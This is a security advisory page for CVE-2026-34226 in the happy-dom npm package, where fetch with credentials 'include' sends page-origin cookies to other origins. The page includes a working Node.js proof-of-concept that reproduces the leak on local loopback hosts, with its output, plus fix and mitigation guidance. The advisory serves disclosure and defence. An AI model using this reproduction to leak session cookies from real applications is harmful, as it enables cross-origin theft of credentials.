CVE-2026-34226 is a high-severity (CVSS 7.5) CWE-201 vulnerability in happy-dom. A fix is available for happy-dom — see the affected versions and patch details below.
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34226.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
happy-domnpmDescription
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
} else {
console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
process.exitCode = 1;
}
} finally {
await browser.close();
pageServer.close();
apiServer.close();
}
}
run().catch((error) => {
console.error(error);
process.exit(1);
});
Environment:
- Node.js >= 22
happy-dom20.6.1- DNS names resolving to local loopback via
*.127.0.0.1.nip.io
Reproduction steps:
- Set page host cookie:
page_cookie=PAGE_ONLYona.127.0.0.1.nip.io - Set target host cookie:
api_cookie=API_ONLYonb.127.0.0.1.nip.io - From page host, call fetch to target host with
credentials: "include" - Observe
Cookieheader received by the target host
Expected:
- Include
api_cookie=API_ONLY - Do not include
page_cookie=PAGE_ONLY
Actual (observed):
- Includes
page_cookie=PAGE_ONLY - Does not include
api_cookie=API_ONLY
Observed output:
=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
Page Origin Host : a.127.0.0.1.nip.io
Request Target Host: b.127.0.0.1.nip.io
(both resolve to 127.0.0.1 via public wildcard DNS)
Expected:
Request to target host should include "api_cookie=API_ONLY".
Request should NOT include "page_cookie=PAGE_ONLY".
Actual:
request cookie header: "page_cookie=PAGE_ONLY"
includes page_cookie: true
includes api_cookie : false
Result: VULNERABLE behavior reproduced.
Impact
Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | happy-dom | all versions | 20.8.9npm install happy-dom@20.8.9 |
Affected Products
happy domcapricorn86Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for happy-dom, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update happy-dom to 20.8.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34226 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-34226 in your dependencies?
Find it across npm, including transitive dependencies.